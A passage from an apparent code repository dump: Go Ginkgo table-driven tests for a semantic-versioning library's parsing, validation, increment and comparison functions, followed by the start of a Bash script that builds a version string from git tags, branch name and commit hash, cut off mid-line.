10, 10, 0, "", ""), Entry("10.10.10", "10.10.10", 10, 10, 10, "", ""), Entry("1.0.0-0.3.7", "1.0.0-0.3.7", 1, 0, 0, "0.3.7", ""), Entry("1.0.0-0alpha1", "1.0.0-0alpha1", 1, 0, 0, "0alpha1", ""), Entry("1.0.0-alpha.1", "1.0.0-alpha.1", 1, 0, 0, "alpha.1", ""), Entry("1.0.0-alpha.12", "1.0.0-alpha.12", 1, 0, 0, "alpha.12", ""), Entry("1.0.0-alpha.beta", "1.0.0-alpha.beta", 1, 0, 0, "alpha.beta", ""), Entry("1.0.0-alpha", "1.0.0-alpha", 1, 0, 0, "alpha", ""), Entry("1.0.0-alpha+001", "1.0.0-alpha+001", 1, 0, 0, "alpha", "001"), Entry("1.0.0-beta.11", "1.0.0-beta.11", 1, 0, 0, "beta.11", ""), Entry("1.0.0-beta.2", "1.0.0-beta.2", 1, 0, 0, "beta.2", ""), Entry("1.0.0-beta.511485", "1.0.0-beta.511485", 1, 0, 0, "beta.511485", ""), Entry("1.0.0-beta.5114fa", "1.0.0-beta.5114fa", 1, 0, 0, "beta.5114fa", ""), Entry("1.0.0-beta", "1.0.0-beta", 1, 0, 0, "beta", ""), Entry("1.0.0-beta+exp.sha.5114f85", "1.0.0-beta+exp.sha.5114f85", 1, 0, 0, "beta", "exp.sha.5114f85"), Entry("1.0.0-rc.1", "1.0.0-rc.1", 1, 0, 0, "rc.1", ""), Entry("1.0.0-x.7.z.92", "1.0.0-x.7.z.92", 1, 0, 0, "x.7.z.92", ""), Entry("1.0.0+20130313144700", "1.0.0+20130313144700", 1, 0, 0, "", "20130313144700"), ) }) Describe("when input is not a valid semantic version", func() { DescribeTable("it should error", func(input string) { actual, err := semver.Parse(input) Expect(err).To(HaveOccurred()) Expect(actual).To(BeNil()) }, Entry("empty word", ""), Entry("abc", "abc"), Entry("0", "0"), Entry("0.0", "0.0"), Entry("0.0.", "0.0."), Entry(".0.0", ".0.0"), Entry("0.0.a", "0.0.a"), Entry("00.0.0", "00.0.0"), Entry("0.00.0", "0.00.0"), Entry("0.0.00", "0.0.00"), Entry("0.0.0-", "0.0.0-"), Entry("0.0.0-alpha+", "0.0.0-alpha+"), ) }) }) Describe("func MustParse(s string) *SemVer", func() { Describe("when input is a valid semantic version", func() { DescribeTable("it should not panic and return the correct SemVer struct", func(input string, major, minor, patch int, preRelease, buildMetadata string) { actual := semver.MustParse(input) expected := semver.SemVer{ Major: uint(major), Minor: uint(minor), Patch: uint(patch), PreRelease: splitDotSeparatedString(preRelease), BuildMetadata: splitDotSeparatedString(buildMetadata), } Expect(actual).To(Equal(&expected)) }, Entry("1.0.0", "1.0.0", 1, 0, 0, "", ""), Entry("1.0.0-alpha.1", "1.0.0-alpha.1", 1, 0, 0, "alpha.1", ""), Entry("1.0.0-rc.1", "1.0.0-rc.1", 1, 0, 0, "rc.1", ""), ) }) Describe("when input is not a valid semantic version", func() { DescribeTable("it should panic", func(input string) { Expect(func() { semver.MustParse(input) }).Should(Panic()) }, Entry("empty word", ""), Entry("abc", "abc"), Entry("0", "0"), ) }) }) Describe("func IsValid(s string) bool", func() { Describe("when input is a valid semantic version", func() { DescribeTable("it should return true", func(input string) { actual := semver.IsValid(input) Expect(actual).To(BeTrue()) }, Entry("0.0.0", "0.0.0"), Entry("0.0.1", "0.0.1"), Entry("0.1.0", "0.1.0"), Entry("1.0.0", "1.0.0"), Entry("1.0.1", "1.0.1"), Entry("1.1.0", "1.1.0"), Entry("1.1.1", "1.1.1"), Entry("1.10.0", "1.10.0"), Entry("1.0.10", "1.0.10"), Entry("10.0.0", "10.0.0"), Entry("10.10.0", "10.10.0"), Entry("10.10.10", "10.10.10"), Entry("1.0.0-0.3.7", "1.0.0-0.3.7"), Entry("1.0.0-0alpha1", "1.0.0-0alpha1"), Entry("1.0.0-alpha.1", "1.0.0-alpha.1"), Entry("1.0.0-alpha.12", "1.0.0-alpha.12"), Entry("1.0.0-alpha.beta", "1.0.0-alpha.beta"), Entry("1.0.0-alpha", "1.0.0-alpha"), Entry("1.0.0-alpha+001", "1.0.0-alpha+001"), Entry("1.0.0-beta.11", "1.0.0-beta.11"), Entry("1.0.0-beta.2", "1.0.0-beta.2"), Entry("1.0.0-beta.511485", "1.0.0-beta.511485"), Entry("1.0.0-beta.5114fa", "1.0.0-beta.5114fa"), Entry("1.0.0-beta", "1.0.0-beta"), Entry("1.0.0-beta+exp.sha.5114f85", "1.0.0-beta+exp.sha.5114f85"), Entry("1.0.0-rc.1", "1.0.0-rc.1"), Entry("1.0.0-x.7.z.92", "1.0.0-x.7.z.92"), Entry("1.0.0+20130313144700", "1.0.0+20130313144700"), ) }) Describe("when input is not a valid semantic version", func() { DescribeTable("it should return false", func(input string) { actual := semver.IsValid(input) Expect(actual).To(BeFalse()) }, Entry("empty word", ""), Entry("abc", "abc"), Entry("0", "0"), Entry("0.0", "0.0"), Entry("0.0.", "0.0."), Entry(".0.0", ".0.0"), Entry("0.0.a", "0.0.a"), Entry("00.0.0", "00.0.0"), Entry("0.00.0", "0.00.0"), Entry("0.0.00", "0.0.00"), Entry("0.0.0-", "0.0.0-"), Entry("0.0.0-alpha+", "0.0.0-alpha+"), ) }) }) Describe("func (s *SemVer) SetMajor(major uint)", func() { It("should set the major version correctly", func() { sut := semver.SemVer{ Major: 0, Minor: 0, Patch: 0, PreRelease: []string{}, BuildMetadata: []string{}, } sut.SetMajor(1) Expect(sut.Major).To(Equal(uint(1))) Expect(sut.Minor).To(Equal(uint(0))) Expect(sut.Patch).To(Equal(uint(0))) Expect(sut.PreRelease).To(Equal([]string{})) Expect(sut.BuildMetadata).To(Equal([]string{})) }) }) Describe("func (s *SemVer) SetMinor(minor uint)", func() { It("should set the minor version correctly", func() { sut := semver.SemVer{ Major: 0, Minor: 0, Patch: 0, PreRelease: []string{}, BuildMetadata: []string{}, } sut.SetMinor(1) Expect(sut.Major).To(Equal(uint(0))) Expect(sut.Minor).To(Equal(uint(1))) Expect(sut.Patch).To(Equal(uint(0))) Expect(sut.PreRelease).To(Equal([]string{})) Expect(sut.BuildMetadata).To(Equal([]string{})) }) }) Describe("func (s *SemVer) SetPatch(patch uint)", func() { It("should set the patch version correctly", func() { sut := semver.SemVer{ Major: 0, Minor: 0, Patch: 0, PreRelease: []string{}, BuildMetadata: []string{}, } sut.SetPatch(1) Expect(sut.Major).To(Equal(uint(0))) Expect(sut.Minor).To(Equal(uint(0))) Expect(sut.Patch).To(Equal(uint(1))) Expect(sut.PreRelease).To(Equal([]string{})) Expect(sut.BuildMetadata).To(Equal([]string{})) }) }) Describe("func (s *SemVer) SetPreRelease(preRelease []string)", func() { It("should set the preRelease identifiers correctly", func() { sut := semver.SemVer{ Major: 0, Minor: 0, Patch: 0, PreRelease: []string{}, BuildMetadata: []string{}, } sut.SetPreRelease([]string{"alpha", "1"}) Expect(sut.Major).To(Equal(uint(0))) Expect(sut.Minor).To(Equal(uint(0))) Expect(sut.Patch).To(Equal(uint(0))) Expect(sut.PreRelease).To(Equal([]string{"alpha", "1"})) Expect(sut.BuildMetadata).To(Equal([]string{})) }) }) Describe("func (s *SemVer) SetBuildMetadata(buildMetadata []string)", func() { It("should set the buildMetadata identifiers correctly", func() { sut := semver.SemVer{ Major: 0, Minor: 0, Patch: 0, PreRelease: []string{}, BuildMetadata: []string{}, } sut.SetBuildMetadata([]string{"2020.01.01", "001"}) Expect(sut.Major).To(Equal(uint(0))) Expect(sut.Minor).To(Equal(uint(0))) Expect(sut.Patch).To(Equal(uint(0))) Expect(sut.PreRelease).To(Equal([]string{})) Expect(sut.BuildMetadata).To(Equal([]string{"2020.01.01", "001"})) }) }) Describe("func (s SemVer) NextMajor() *SemVer", func() { DescribeTable("it should return the next major semantic version", func(input, expected string) { sut, err := semver.Parse(input) Expect(err).ShouldNot(HaveOccurred()) actual := sut.NextMajor().String() Expect(actual).To(Equal(expected)) }, Entry("0.0.0", "0.0.0", "1.0.0"), Entry("0.0.1", "0.0.1", "1.0.0"), Entry("0.1.0", "0.1.0", "1.0.0"), Entry("1.0.0", "1.0.0", "2.0.0"), Entry("1.0.1", "1.0.1", "2.0.0"), Entry("1.1.0", "1.1.0", "2.0.0"), Entry("1.1.1", "1.1.1", "2.0.0"), Entry("1.10.0", "1.10.0", "2.0.0"), Entry("1.0.10", "1.0.10", "2.0.0"), Entry("10.0.0", "10.0.0", "11.0.0"), Entry("10.10.0", "10.10.0", "11.0.0"), Entry("10.10.10", "10.10.10", "11.0.0"), Entry("1.0.0-0.3.7", "1.0.0-0.3.7", "1.0.0"), Entry("1.0.0-0alpha1", "1.0.0-0alpha1", "1.0.0"), Entry("1.0.0-alpha.1", "1.0.0-alpha.1", "1.0.0"), Entry("1.0.0-alpha.12", "1.0.0-alpha.12", "1.0.0"), Entry("1.0.0-alpha.beta", "1.0.0-alpha.beta", "1.0.0"), Entry("1.0.0-alpha", "1.0.0-alpha", "1.0.0"), Entry("1.0.0-alpha+001", "1.0.0-alpha+001", "1.0.0"), Entry("1.0.0-beta.11", "1.0.0-beta.11", "1.0.0"), Entry("1.0.0-beta.2", "1.0.0-beta.2", "1.0.0"), Entry("1.0.0-beta.511485", "1.0.0-beta.511485", "1.0.0"), Entry("1.0.0-beta.5114fa", "1.0.0-beta.5114fa", "1.0.0"), Entry("1.0.0-beta", "1.0.0-beta", "1.0.0"), Entry("1.0.0-beta+exp.sha.5114f85", "1.0.0-beta+exp.sha.5114f85", "1.0.0"), Entry("1.0.0-rc.1", "1.0.0-rc.1", "1.0.0"), Entry("1.0.0-x.7.z.92", "1.0.0-x.7.z.92", "1.0.0"), Entry("1.0.0+20130313144700", "1.0.0+20130313144700", "2.0.0"), ) Context("when s.Major is equal to MaxMajor", func() { It("should panic", func() { semver := semver.SemVer{ Major: semver.MaxMajor, Minor: 0, Patch: 0, PreRelease: []string{}, BuildMetadata: []string{}, } sut := func() { semver.NextMajor() } Expect(sut).To(Panic()) }) }) }) Describe("func (s SemVer) NextMinor() *SemVer", func() { DescribeTable("it should return the next minor semantic version", func(input, expected string) { sut, err := semver.Parse(input) Expect(err).ShouldNot(HaveOccurred()) actual := sut.NextMinor().String() Expect(actual).To(Equal(expected)) }, Entry("0.0.0", "0.0.0", "0.1.0"), Entry("0.0.1", "0.0.1", "0.1.0"), Entry("0.1.0", "0.1.0", "0.2.0"), Entry("1.0.0", "1.0.0", "1.1.0"), Entry("1.0.1", "1.0.1", "1.1.0"), Entry("1.1.0", "1.1.0", "1.2.0"), Entry("1.1.1", "1.1.1", "1.2.0"), Entry("1.10.0", "1.10.0", "1.11.0"), Entry("1.0.10", "1.0.10", "1.1.0"), Entry("10.0.0", "10.0.0", "10.1.0"), Entry("10.10.0", "10.10.0", "10.11.0"), Entry("10.10.10", "10.10.10", "10.11.0"), Entry("1.0.0-0.3.7", "1.0.0-0.3.7", "1.0.0"), Entry("1.0.0-0alpha1", "1.0.0-0alpha1", "1.0.0"), Entry("1.0.0-alpha.1", "1.0.0-alpha.1", "1.0.0"), Entry("1.0.0-alpha.12", "1.0.0-alpha.12", "1.0.0"), Entry("1.0.0-alpha.beta", "1.0.0-alpha.beta", "1.0.0"), Entry("1.0.0-alpha", "1.0.0-alpha", "1.0.0"), Entry("1.0.0-alpha+001", "1.0.0-alpha+001", "1.0.0"), Entry("1.0.0-beta.11", "1.0.0-beta.11", "1.0.0"), Entry("1.0.0-beta.2", "1.0.0-beta.2", "1.0.0"), Entry("1.0.0-beta.511485", "1.0.0-beta.511485", "1.0.0"), Entry("1.0.0-beta.5114fa", "1.0.0-beta.5114fa", "1.0.0"), Entry("1.0.0-beta", "1.0.0-beta", "1.0.0"), Entry("1.0.0-beta+exp.sha.5114f85", "1.0.0-beta+exp.sha.5114f85", "1.0.0"), Entry("1.0.0-rc.1", "1.0.0-rc.1", "1.0.0"), Entry("1.0.0-x.7.z.92", "1.0.0-x.7.z.92", "1.0.0"), Entry("1.0.0+20130313144700", "1.0.0+20130313144700", "1.1.0"), ) Context("when s.Minor is equal to MaxMinor", func() { It("should panic", func() { semver := semver.SemVer{ Major: 0, Minor: semver.MaxMinor, Patch: 0, PreRelease: []string{}, BuildMetadata: []string{}, } sut := func() { semver.NextMinor() } Expect(sut).To(Panic()) }) }) }) Describe("func (s SemVer) NextPatch() *SemVer", func() { DescribeTable("it should return the next patch semantic version", func(input, expected string) { sut, err := semver.Parse(input) Expect(err).ShouldNot(HaveOccurred()) actual := sut.NextPatch().String() Expect(actual).To(Equal(expected)) }, Entry("0.0.0", "0.0.0", "0.0.1"), Entry("0.0.1", "0.0.1", "0.0.2"), Entry("0.1.0", "0.1.0", "0.1.1"), Entry("1.0.0", "1.0.0", "1.0.1"), Entry("1.0.1", "1.0.1", "1.0.2"), Entry("1.1.0", "1.1.0", "1.1.1"), Entry("1.1.1", "1.1.1", "1.1.2"), Entry("1.10.0", "1.10.0", "1.10.1"), Entry("1.0.10", "1.0.10", "1.0.11"), Entry("10.0.0", "10.0.0", "10.0.1"), Entry("10.10.0", "10.10.0", "10.10.1"), Entry("10.10.10", "10.10.10", "10.10.11"), Entry("1.0.0-0.3.7", "1.0.0-0.3.7", "1.0.0"), Entry("1.0.0-0alpha1", "1.0.0-0alpha1", "1.0.0"), Entry("1.0.0-alpha.1", "1.0.0-alpha.1", "1.0.0"), Entry("1.0.0-alpha.12", "1.0.0-alpha.12", "1.0.0"), Entry("1.0.0-alpha.beta", "1.0.0-alpha.beta", "1.0.0"), Entry("1.0.0-alpha", "1.0.0-alpha", "1.0.0"), Entry("1.0.0-alpha+001", "1.0.0-alpha+001", "1.0.0"), Entry("1.0.0-beta.11", "1.0.0-beta.11", "1.0.0"), Entry("1.0.0-beta.2", "1.0.0-beta.2", "1.0.0"), Entry("1.0.0-beta.511485", "1.0.0-beta.511485", "1.0.0"), Entry("1.0.0-beta.5114fa", "1.0.0-beta.5114fa", "1.0.0"), Entry("1.0.0-beta", "1.0.0-beta", "1.0.0"), Entry("1.0.0-beta+exp.sha.5114f85", "1.0.0-beta+exp.sha.5114f85", "1.0.0"), Entry("1.0.0-rc.1", "1.0.0-rc.1", "1.0.0"), Entry("1.0.0-x.7.z.92", "1.0.0-x.7.z.92", "1.0.0"), Entry("1.0.0+20130313144700", "1.0.0+20130313144700", "1.0.1"), ) Context("when s.Patch is equal to MaxPatch", func() { It("should panic", func() { semver := semver.SemVer{ Major: 0, Minor: 0, Patch: semver.MaxPatch, PreRelease: []string{}, BuildMetadata: []string{}, } sut := func() { semver.NextPatch() } Expect(sut).To(Panic()) }) }) }) Describe("func (s SemVer) IsValid() bool", func() { Describe("when s is a valid semantic version", func() { DescribeTable("it should return true", func(input string) { sut, err := semver.Parse(input) Expect(err).ShouldNot(HaveOccurred()) actual := sut.IsValid() Expect(actual).To(BeTrue()) }, Entry("0.0.0", "0.0.0"), Entry("0.0.1", "0.0.1"), Entry("0.1.0", "0.1.0"), Entry("1.0.0", "1.0.0"), Entry("1.0.1", "1.0.1"), Entry("1.1.0", "1.1.0"), Entry("1.1.1", "1.1.1"), Entry("1.10.0", "1.10.0"), Entry("1.0.10", "1.0.10"), Entry("10.0.0", "10.0.0"), Entry("10.10.0", "10.10.0"), Entry("10.10.10", "10.10.10"), Entry("1.0.0-0.3.7", "1.0.0-0.3.7"), Entry("1.0.0-0alpha1", "1.0.0-0alpha1"), Entry("1.0.0-alpha.1", "1.0.0-alpha.1"), Entry("1.0.0-alpha.12", "1.0.0-alpha.12"), Entry("1.0.0-alpha.beta", "1.0.0-alpha.beta"), Entry("1.0.0-alpha", "1.0.0-alpha"), Entry("1.0.0-alpha+001", "1.0.0-alpha+001"), Entry("1.0.0-beta.11", "1.0.0-beta.11"), Entry("1.0.0-beta.2", "1.0.0-beta.2"), Entry("1.0.0-beta.511485", "1.0.0-beta.511485"), Entry("1.0.0-beta.5114fa", "1.0.0-beta.5114fa"), Entry("1.0.0-beta", "1.0.0-beta"), Entry("1.0.0-beta+exp.sha.5114f85", "1.0.0-beta+exp.sha.5114f85"), Entry("1.0.0-rc.1", "1.0.0-rc.1"), Entry("1.0.0-x.7.z.92", "1.0.0-x.7.z.92"), Entry("1.0.0+20130313144700", "1.0.0+20130313144700"), ) }) Describe("when s is not a valid semantic version", func() { It("should return false", func() { sut := semver.SemVer{ Major: 0, Minor: 0, Patch: 0, PreRelease: []string{"00"}, BuildMetadata: []string{}, } actual := sut.IsValid() Expect(actual).To(BeFalse()) }) }) }) Describe("func (s *SemVer) IsRelease() bool", func() { Describe("when s is valid a release version", func() { DescribeTable("should return true", func(input string) { sut, err := semver.Parse(input) Expect(err).ShouldNot(HaveOccurred()) actual := sut.IsRelease() Expect(actual).To(BeTrue()) }, Entry("0.0.0", "0.0.0"), Entry("0.0.1", "0.0.1"), Entry("0.1.0", "0.1.0"), Entry("1.0.0", "1.0.0"), Entry("1.0.1", "1.0.1"), Entry("1.1.0", "1.1.0"), Entry("1.1.1", "1.1.1"), Entry("1.10.0", "1.10.0"), Entry("1.0.10", "1.0.10"), Entry("10.0.0", "10.0.0"), Entry("10.10.0", "10.10.0"), Entry("10.10.10", "10.10.10"), ) }) Describe("when s is valid not a release version", func() { DescribeTable("should return true", func(input string) { sut, err := semver.Parse(input) Expect(err).ShouldNot(HaveOccurred()) actual := sut.IsRelease() Expect(actual).To(BeFalse()) }, Entry("1.0.0-0.3.7", "1.0.0-0.3.7"), Entry("1.0.0-0alpha1", "1.0.0-0alpha1"), Entry("1.0.0-alpha.1", "1.0.0-alpha.1"), Entry("1.0.0-alpha.12", "1.0.0-alpha.12"), Entry("1.0.0-alpha.beta", "1.0.0-alpha.beta"), Entry("1.0.0-alpha", "1.0.0-alpha"), Entry("1.0.0-alpha+001", "1.0.0-alpha+001"), Entry("1.0.0-beta.11", "1.0.0-beta.11"), Entry("1.0.0-beta.2", "1.0.0-beta.2"), Entry("1.0.0-beta.511485", "1.0.0-beta.511485"), Entry("1.0.0-beta.5114fa", "1.0.0-beta.5114fa"), Entry("1.0.0-beta", "1.0.0-beta"), Entry("1.0.0-beta+exp.sha.5114f85", "1.0.0-beta+exp.sha.5114f85"), Entry("1.0.0-rc.1", "1.0.0-rc.1"), Entry("1.0.0-x.7.z.92", "1.0.0-x.7.z.92"), Entry("1.0.0+20130313144700", "1.0.0+20130313144700"), ) }) }) Describe("func (s SemVer) CompareTo(o SemVer) int", func() { Describe("when s != o", func() { DescribeTable("it should return -1", func(a, b string) { semverA, err := semver.Parse(a) Expect(err).ShouldNot(HaveOccurred()) semverB, err := semver.Parse(b) Expect(err).ToNot(HaveOccurred()) actual := semverA.CompareTo(*semverB) Expect(actual).To(Equal(-1)) }, Entry("1.0.0 != 2.0.0", "1.0.0", "2.0.0"), Entry("2.0.0 != 2.1.0", "2.0.0", "2.1.0"), Entry("2.1.0 != 2.1.1", "2.1.0", "2.1.1"), Entry("1.0.0-alpha != 1.0.0", "1.0.0-alpha", "1.0.0"), Entry("1.0.0-alpha != 1.0.0-alpha.1", "1.0.0-alpha", "1.0.0-alpha.1"), Entry("1.0.0-alpha.1 != 1.0.0-alpha.beta", "1.0.0-alpha.1", "1.0.0-alpha.beta"), Entry("1.0.0-alpha.beta != 1.0.0-beta", "1.0.0-alpha.beta", "1.0.0-beta"), Entry("1.0.0-beta != 1.0.0-beta.2", "1.0.0-beta", "1.0.0-beta.2"), Entry("1.0.0-beta.2 != 1.0.0-beta.11", "1.0.0-beta.2", "1.0.0-beta.11"), Entry("1.0.0-beta.11 != 1.0.0-rc.1", "1.0.0-beta.11", "1.0.0-rc.1"), Entry("1.0.0-rc.1 != 1.0.0", "1.0.0-rc.1", "1.0.0"), ) }) Describe("when s > o", func() { DescribeTable("it should return 1", func(a, b string) { semverA, err := semver.Parse(a) Expect(err).ShouldNot(HaveOccurred()) semverB, err := semver.Parse(b) Expect(err).ToNot(HaveOccurred()) actual := semverA.CompareTo(*semverB) Expect(actual).To(Equal(1)) }, Entry("2.0.0 > 1.0.0", "2.0.0", "1.0.0"), Entry("2.1.0 > 2.0.0", "2.1.0", "2.0.0"), Entry("2.1.1 > 2.1.0", "2.1.1", "2.1.0"), Entry("1.0.0 > 1.0.0-alpha", "1.0.0", "1.0.0-alpha"), Entry("1.0.0-alpha.1 > 1.0.0-alpha", "1.0.0-alpha.1", "1.0.0-alpha"), Entry("1.0.0-alpha.beta > 1.0.0-alpha.1", "1.0.0-alpha.beta", "1.0.0-alpha.1"), Entry("1.0.0-beta > 1.0.0-alpha.beta", "1.0.0-beta", "1.0.0-alpha.beta"), Entry("1.0.0-beta.2 > 1.0.0-beta", "1.0.0-beta.2", "1.0.0-beta"), Entry("1.0.0-beta.11 > 1.0.0-beta.2", "1.0.0-beta.11", "1.0.0-beta.2"), Entry("1.0.0-rc.1 > 1.0.0-beta.11", "1.0.0-rc.1", "1.0.0-beta.11"), Entry("1.0.0 > 1.0.0-rc.1", "1.0.0", "1.0.0-rc.1"), ) }) Describe("when s == o", func() { DescribeTable("it should return 0", func(a, b string) { semverA, err := semver.Parse(a) Expect(err).ShouldNot(HaveOccurred()) semverB, err := semver.Parse(b) Expect(err).ShouldNot(HaveOccurred()) actual := semverA.CompareTo(*semverB) Expect(actual).To(Equal(0)) }, Entry("0.0.0 == 0.0.0", "0.0.0", "0.0.0"), Entry("1.0.0 == 1.0.0", "1.0.0", "1.0.0"), Entry("1.1.0 == 1.1.0", "1.1.0", "1.1.0"), Entry("1.1.1 == 1.1.1", "1.1.1", "1.1.1"), Entry("1.0.0-alpha == 1.0.0-alpha", "1.0.0-alpha", "1.0.0-alpha"), Entry("1.0.0-rc.1 == 1.0.0-rc.1", "1.0.0-rc.1", "1.0.0-rc.1"), Entry("1.0.0-rc.1+123 == 1.0.0-rc.1+123", "1.0.0-rc.1+123", "1.0.0-rc.1+123"), Entry("1.0.0-rc.1+123 == 1.0.0-rc.1+42", "1.0.0-rc.1+123", "1.0.0-rc.1+42"), Entry("1.0.0+123 == 1.0.0+123", "1.0.0+123", "1.0.0+123"), Entry("1.0.0+123 == 1.0.0+42", "1.0.0+123", "1.0.0+42"), ) }) }) Describe("func (s SemVer) Equal(o SemVer) bool", func() { Describe("when s is equal to o", func() { DescribeTable("it should return true", func(a, b string) { semverA, err := semver.Parse(a) Expect(err).ShouldNot(HaveOccurred()) semverB, err := semver.Parse(b) Expect(err).ShouldNot(HaveOccurred()) actual := semverA.Equal(*semverB) Expect(actual).To(BeTrue()) }, Entry("0.0.0 == 0.0.0", "0.0.0", "0.0.0"), Entry("1.0.0 == 1.0.0", "1.0.0", "1.0.0"), Entry("1.1.0 == 1.1.0", "1.1.0", "1.1.0"), Entry("1.1.1 == 1.1.1", "1.1.1", "1.1.1"), Entry("1.0.0-alpha == 1.0.0-alpha", "1.0.0-alpha", "1.0.0-alpha"), Entry("1.0.0-rc.1 == 1.0.0-rc.1", "1.0.0-rc.1", "1.0.0-rc.1"), Entry("1.0.0-rc.1+123 == 1.0.0-rc.1+123", "1.0.0-rc.1+123", "1.0.0-rc.1+123"), Entry("1.0.0+123 == 1.0.0+123", "1.0.0+123", "1.0.0+123"), Entry("1.0.0+1.2.3 == 1.0.0+1.2.3", "1.0.0+1.2.3", "1.0.0+1.2.3"), ) }) Describe("when s is not equal to o", func() { DescribeTable("it should return false", func(a, b string) { semverA, err := semver.Parse(a) Expect(err).ShouldNot(HaveOccurred()) semverB, err := semver.Parse(b) Expect(err).ShouldNot(HaveOccurred()) actual := semverA.Equal(*semverB) Expect(actual).To(BeFalse()) }, Entry("1.0.0 != 2.0.0", "1.0.0", "2.0.0"), Entry("2.0.0 != 2.1.0", "2.0.0", "2.1.0"), Entry("2.1.0 != 2.1.1", "2.1.0", "2.1.1"), Entry("1.0.0-alpha != 1.0.0", "1.0.0-alpha", "1.0.0"), Entry("1.0.0-alpha != 1.0.0-alpha.1", "1.0.0-alpha", "1.0.0-alpha.1"), Entry("1.0.0-alpha.1 != 1.0.0-alpha.beta", "1.0.0-alpha.1", "1.0.0-alpha.beta"), Entry("1.0.0-alpha.beta != 1.0.0-beta", "1.0.0-alpha.beta", "1.0.0-beta"), Entry("1.0.0-beta != 1.0.0-beta.2", "1.0.0-beta", "1.0.0-beta.2"), Entry("1.0.0-beta.2 != 1.0.0-beta.11", "1.0.0-beta.2", "1.0.0-beta.11"), Entry("1.0.0-beta.11 != 1.0.0-rc.1", "1.0.0-beta.11", "1.0.0-rc.1"), Entry("1.0.0-rc.1 != 1.0.0", "1.0.0-rc.1", "1.0.0"), ) }) }) Describe("func (s SemVer) String() string", func() { Describe("when s is a valid SemVer struct", func() { DescribeTable("it should return the correct semver string", func(major, minor, patch int, preRelease, buildMetadata, expected string) { s := semver.SemVer{ Major: uint(major), Minor: uint(minor), Patch: uint(patch), PreRelease: splitDotSeparatedString(preRelease), BuildMetadata: splitDotSeparatedString(buildMetadata), } actual := s.String() Expect(actual).To(Equal(expected)) }, Entry("0.0.0", 0, 0, 0, "", "", "0.0.0"), Entry("0.0.1", 0, 0, 1, "", "", "0.0.1"), Entry("0.1.0", 0, 1, 0, "", "", "0.1.0"), Entry("1.0.0", 1, 0, 0, "", "", "1.0.0"), Entry("1.0.1", 1, 0, 1, "", "", "1.0.1"), Entry("1.1.0", 1, 1, 0, "", "", "1.1.0"), Entry("1.1.1", 1, 1, 1, "", "", "1.1.1"), Entry("1.10.0", 1, 10, 0, "", "", "1.10.0"), Entry("1.0.10", 1, 0, 10, "", "", "1.0.10"), Entry("10.0.0", 10, 0, 0, "", "", "10.0.0"), Entry("10.10.0", 10, 10, 0, "", "", "10.10.0"), Entry("10.10.10", 10, 10, 10, "", "", "10.10.10"), Entry("1.0.0-0.3.7", 1, 0, 0, "0.3.7", "", "1.0.0-0.3.7"), Entry("1.0.0-0alpha1", 1, 0, 0, "0alpha1", "", "1.0.0-0alpha1"), Entry("1.0.0-alpha.1", 1, 0, 0, "alpha.1", "", "1.0.0-alpha.1"), Entry("1.0.0-alpha.12", 1, 0, 0, "alpha.12", "", "1.0.0-alpha.12"), Entry("1.0.0-alpha.beta", 1, 0, 0, "alpha.beta", "", "1.0.0-alpha.beta"), Entry("1.0.0-alpha", 1, 0, 0, "alpha", "", "1.0.0-alpha"), Entry("1.0.0-alpha+001", 1, 0, 0, "alpha", "001", "1.0.0-alpha+001"), Entry("1.0.0-beta.11", 1, 0, 0, "beta.11", "", "1.0.0-beta.11"), Entry("1.0.0-beta.2", 1, 0, 0, "beta.2", "", "1.0.0-beta.2"), Entry("1.0.0-beta.511485", 1, 0, 0, "beta.511485", "", "1.0.0-beta.511485"), Entry("1.0.0-beta.5114fa", 1, 0, 0, "beta.5114fa", "", "1.0.0-beta.5114fa"), Entry("1.0.0-beta", 1, 0, 0, "beta", "", "1.0.0-beta"), Entry("1.0.0-beta+exp.sha.5114f85", 1, 0, 0, "beta", "exp.sha.5114f85", "1.0.0-beta+exp.sha.5114f85"), Entry("1.0.0-rc.1", 1, 0, 0, "rc.1", "", "1.0.0-rc.1"), Entry("1.0.0-x.7.z.92", 1, 0, 0, "x.7.z.92", "", "1.0.0-x.7.z.92"), Entry("1.0.0+20130313144700", 1, 0, 0, "", "20130313144700", "1.0.0+20130313144700"), ) }) }) Describe("func mustParseUint(s string) uint", func() { Context("when s is a valid unsigned integer", func() { DescribeTable("it should return the correct uint value", func(input string, expected uint) { actual := number.MustParseUint(input) Expect(actual).To(Equal(expected)) }, Entry("0", "0", uint(0)), Entry("1", "1", uint(1)), Entry("42", "42", uint(42)), Entry(strconv.FormatUint(uint64(semver.MaxMajor), 10), strconv.FormatUint(uint64(semver.MaxMinor), 10), semver.MaxPatch), ) }) Context("when s is not a valid unsigned integer", func() { It("should panic", func() { sut := func() { number.MustParseUint("0.0.0-00") } Expect(sut).To(Panic()) }) }) }) }) func splitDotSeparatedString(s string) []string { if s == "" { return []string{} } return strings.Split(s, ".") } ``` ## /scripts/version ``` path="/scripts/version" #!/usr/bin/env bash # SPDX-License-Identifier: MIT set -euo pipefail shopt -s inherit_errexit shopt -s extglob # ###################################################################################### # # Prints the current project version # # # # VERSION: 2.0.0 # # # # DESCRIPTION: # # Versioning follows Semantic Versioning 2.0.0 (https://semver.org): # # ::= .. # # | ..-+ # # ::= # # ::= # # ::= # # ::= # # ::= . # # | ..dirty # # # # DEPENDENCIES: # # - git # # # # EXAMPLES: # # release version '1.0.0' tag: 1.0.0 # # snapshot version 'develop' branch: 1.0.1-develop+20200101.42a4711 # # snapshot version 'hotfix/new-hotfix' branch: 1.0.1-hotfix-new-hotfix+20200101.42a4711 # # # # ###################################################################################### # cmd="$(command -v git)" if [[ ! -x ${cmd} ]]; then printf 'error: command not found: %s\n' "${cmd}" >&2 exit 1 fi version() { local version version="$(currentTag | strip_version_prefix || true)" if [[ -z "${version}" ]] || [[ -n "$(git status --porcelain)" ]]; then version="$(lastAccessibleTag | strip_version_prefix)" version="$(nextMinorVersion "${version}")" local pre_release pre_release="$(branch_name | clean_branch_name)" # Strip leading zeros pre_release="${pre_release##+(0)}" if [[ -n ${pre_release} ]]; then version="${version}-${pre_release}" fi if [[ $* != "--short" ]]; then local commit_hash commit_hash="$(git rev-parse --short HEAD)" local build_metadata build_metadata="$(date -u +%Y%m%d).${commit_hash}" git_status="$(git status --porcelain)" if [[ -n ${git_status} ]]; then build_metadata+=".dirty" fi version="${version}+${build_metadata}" fi fi # shellcheck disable=SC2310 if isInvalid "${version}"; then printf 'error: invalid semantic version: %s\n' "${version}" >&2 exit 1 fi printf '%s' "${version}" } branch_name() { # Try to determine branch name from Git repository local branch_name branch_name="$(git rev-parse --abbrev-ref HEAD)" if [[ ${branch_name} == "HEAD" ]]; then # Try to determine branch name from GITHUB_REF environment variable (GitHub Actions) if [[ -n 